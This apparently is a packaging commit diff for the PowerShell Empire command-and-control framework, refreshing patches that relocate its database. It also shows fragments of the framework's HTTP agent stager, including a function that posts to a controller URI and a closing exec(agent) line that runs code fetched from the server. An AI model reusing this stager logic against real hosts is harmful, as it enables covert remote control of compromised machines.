Codebase list powershell-empire / d02c06a
Refresh patches Sophie Brun 3 years ago
2 changed file(s) with 21 addition(s) and 18 deletion(s). Raw diff Collapse all Expand all
11 Date: Fri, 27 Dec 2019 09:25:49 +0100
22 Subject: change-database-location
33
4 Last-Update: 2020-10-19
4 Last-Update: 2020-11-30
55 ---
6 empire | 18 +++++++++++++++++-
6 empire | 21 ++++++++++++++++++---
77 lib/common/__init__.py | 4 +++-
88 lib/common/agents.py | 21 +++++++++++----------
99 lib/common/empire.py | 9 +++++----
1010 lib/common/helpers.py | 6 +++---
1111 setup/reset.sh | 20 ++++++++++----------
1212 setup/setup_database.py | 2 +-
13 7 files changed, 50 insertions(+), 30 deletions(-)
13 7 files changed, 51 insertions(+), 32 deletions(-)
1414
1515 diff --git a/empire b/empire
16 index 8178180..1245e29 100755
16 index c8cb21e..5eed7db 100755
1717 --- a/empire
1818 +++ b/empire
19 @@ -22,6 +22,22 @@ from time import sleep
19 @@ -24,8 +24,23 @@ from time import sleep
20
2021 from flask import Flask, request, jsonify, make_response, abort, url_for, g
2122 from flask.json import JSONEncoder
22 from flask_socketio import SocketIO, emit
23 -from flask_socketio import SocketIO, emit, join_room, leave_room, \
24 - close_room, rooms, disconnect
25 +from flask_socketio import SocketIO, emit
2326 +import shutil
2427 +
2528 +# database old path
3942
4043 # Empire imports
4144 from lib.common import empire, helpers, users
42 @@ -87,7 +103,7 @@ def database_connect():
45 @@ -91,7 +106,7 @@ def database_connect():
4346 sqlite3.register_adapter(datetime, adapt_datetime)
4447 sqlite3.register_converter("timestamp", convert_timestamp)
4548 # set the database connectiont to autocommit w/ isolation level
7174 conn.isolation_level = None
7275 return conn
7376 diff --git a/lib/common/agents.py b/lib/common/agents.py
74 index 829eab8..a57baa0 100644
77 index 9dd24c0..7b80c1e 100644
7578 --- a/lib/common/agents.py
7679 +++ b/lib/common/agents.py
7780 @@ -89,6 +89,7 @@ class Agents(object):
157160 message = "[!] WARNING: agent {} attempted skywalker exploit!".format(self.sessionID)
158161 signal = json.dumps({
159162 diff --git a/lib/common/empire.py b/lib/common/empire.py
160 index 465519b..fef3bed 100755
163 index 2c7cac9..8bcde38 100755
161164 --- a/lib/common/empire.py
162165 +++ b/lib/common/empire.py
163166 @@ -191,7 +191,7 @@ class MainMenu(cmd.Cmd):
186189 self.conn.isolation_level = None
187190 return self.conn
188191 diff --git a/lib/common/helpers.py b/lib/common/helpers.py
189 index f6bdb21..5d0349e 100644
192 index 7b5fd6d..81429ed 100644
190193 --- a/lib/common/helpers.py
191194 +++ b/lib/common/helpers.py
192195 @@ -273,7 +273,7 @@ def strip_powershell_comments(data):
264267 + rm -rf ~/.local/powershell-empire/downloads/
265268 fi
266269 diff --git a/setup/setup_database.py b/setup/setup_database.py
267 index 915abbb..025492f 100755
270 index ec88437..cb6151a 100755
268271 --- a/setup/setup_database.py
269272 +++ b/setup/setup_database.py
270273 @@ -65,7 +65,7 @@ OBFUSCATE_COMMAND = r'Token\All\1'
304304 -exec(agent)
305305 diff --git a/data/agent/stagers/http.jinja2 b/data/agent/stagers/http.jinja2
306306 new file mode 100644
307 index 0000000..0a8fe28
307 index 0000000..2f836a9
308308 --- /dev/null
309309 +++ b/data/agent/stagers/http.jinja2
310310 @@ -0,0 +1,99 @@
321321 +
322322 +import random
323323 +import string
324 +import urllib.request as urllib
324 +import urllib.request
325325 +
326326 +{% include 'common/rc4.py' %}
327327 +{% include 'common/aes.py' %}
330330 +
331331 +def post_message(uri, data):
332332 + global headers
333 + return (urllib.urlopen(urllib.Request(uri, data, headers))).read()
333 + return (urllib.request.urlopen(urllib.request.Request(uri, data, headers))).read()
334334 +
335335 +# generate a randomized sessionID
336336 +sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
409409 +exec(agent)
410410 diff --git a/data/agent/stagers/http.py b/data/agent/stagers/http.py
411411 deleted file mode 100644
412 index ea5f797..0000000
412 index 02b323e..0000000
413413 --- a/data/agent/stagers/http.py
414414 +++ /dev/null
415415 @@ -1,101 +0,0 @@
428428 -
429429 -import random
430430 -import string
431 -import urllib.request as urllib
431 -import urllib.request
432432 -
433433 -{% include 'common/rc4.py' %}
434434 -{% include 'common/aes.py' %}
437437 -
438438 -def post_message(uri, data):
439439 - global headers
440 - return (urllib.urlopen(urllib.Request(uri, data, headers))).read()
440 - return (urllib.request.urlopen(urllib.request.Request(uri, data, headers))).read()
441441 -
442442 -# generate a randomized sessionID
443443 -sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
528528 template_options = {
529529 'staging_folder': stagingFolder,
530530 diff --git a/lib/listeners/http.py b/lib/listeners/http.py
531 index e04791a..2340db0 100755
531 index f333889..056b7ab 100755
532532 --- a/lib/listeners/http.py
533533 +++ b/lib/listeners/http.py
534534 @@ -682,8 +682,8 @@ class Listener(object):